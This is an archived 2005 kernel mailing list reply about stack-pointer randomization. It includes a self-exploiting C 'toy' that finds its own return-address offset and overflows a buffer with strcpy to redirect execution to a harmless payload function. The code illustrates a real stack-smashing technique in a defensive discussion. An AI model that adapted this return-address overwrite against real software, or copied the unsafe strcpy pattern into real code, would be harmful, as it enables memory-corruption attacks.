lkml.org 
[lkml]   [2005]   [Jan]   [27]   [last100]   RSS Feed
Views: [wrap][no wrap]   [headers]  [forward] 
 
Messages in this thread
/
Date
From
SubjectRe: Patch 4/6 randomize the stack pointer
In other words, no :)

Here's self-exploiting code to discover its own return address offset
and exploit itself. It'll lend some insight into how this stuff works.

Just a toy.

Arjan van de Ven wrote:
> On Thu, 2005-01-27 at 14:19 -0500, linux-os wrote:
>
>>Gentlemen,
>>
>>Isn't the return address on the stack an offset in the
>>code (.text) segment?
>>
>>How would a random stack-pointer value help? I think you would
>>need to start a program at a random offset, not the stack!
>>No stack-smasher that worked would care about the value of
>>the stack-pointer.
>
>
> the simple stack exploit works by overflowing a buffer ON THE STACK with
> a "dirty payload and then also overwriting the return address to point
> back into that buffer.
>
> (all the security guys on this list will now cringe about this over
> simplification; yes reality is more complex but lets keep the
> explenation simple for Richard)
>
> pointing back into that buffer needs the address of that buffer. That
> buffer is on the stack, which is now randomized.
>
>
>

--
All content of all messages exchanged herein are left in the
Public Domain, unless otherwise explicitly stated.

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

int payload();
int exploit(char *d);


int main() {
int distance;
char a[512] = {0};
distance = exploit(NULL);
memset(a, 0xFF, distance);
/*Get our payload address*/
*(void**)(a + distance) = &payload;
*(void**)(a + distance + sizeof(void*)) = 0; /*cap*/
/*exploit the payload*/
exploit(a);
/*we never reach this*/
return 255;
}

/*
* exploit()
* This overflows its own buffers and causes the return to jump to payload()
*/
int exploit(char *d) {
char a[400] = {0};
void *i;
int distance = 0;
char payld[sizeof(void*) + 1];
void *myret;
void *z;

if (!d) {
myret = __builtin_return_address(0);
/*find the distance between a and myret*/
for (i = (void*)a; *(void**)i != myret; i++) {
distance++;
}
return distance;
}
/*We're passed a d buffer, so strcpy it unsafely*/
strcpy(a,d);
/*Return to payload()*/
return 1;

}

int payload() {
printf("Payload executed successfully!\n");
/*0: Unsafe; successful exploit*/
_exit(0);
}
[unhandled content-type:application/pgp-signature]
\
 
 \ /
  Last update: 2005-03-22 14:09    [W:0.405 / U:0.020 seconds]
©2003-2020 Jasper Spaans|hosted at Digital Ocean and TransIP|Read the blog|Advertise on this site